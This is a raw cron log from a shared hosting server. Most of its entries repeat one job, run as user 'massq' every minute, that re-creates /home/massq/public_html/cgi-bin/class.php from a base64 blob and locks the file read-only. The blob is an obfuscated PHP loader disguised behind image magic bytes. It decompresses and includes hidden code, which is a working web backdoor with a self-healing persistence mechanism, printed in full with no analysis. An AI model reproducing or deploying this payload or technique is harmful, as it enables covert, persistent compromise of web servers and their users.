Nov  9 14:32:01 server CROND[16575]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:33:01 server CROND[17487]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:34:02 server CROND[18315]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:35:01 server CROND[19126]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 14:35:01 server CROND[19129]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 14:35:01 server CROND[19130]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 14:35:01 server CROND[19131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 14:35:01 server CROND[19133]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:36:01 server CROND[20063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:37:01 server CROND[20879]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:38:01 server CROND[21792]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:39:01 server CROND[22595]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 14:39:01 server CROND[22596]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:40:01 server CROND[23423]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 14:40:01 server CROND[23424]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 14:40:01 server CROND[23425]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 14:40:01 server CROND[23429]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:41:01 server CROND[24238]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:42:01 server CROND[25061]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:42:01 server CROND[25062]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 14:43:01 server CROND[25982]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:44:01 server CROND[26784]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:45:01 server CROND[27605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
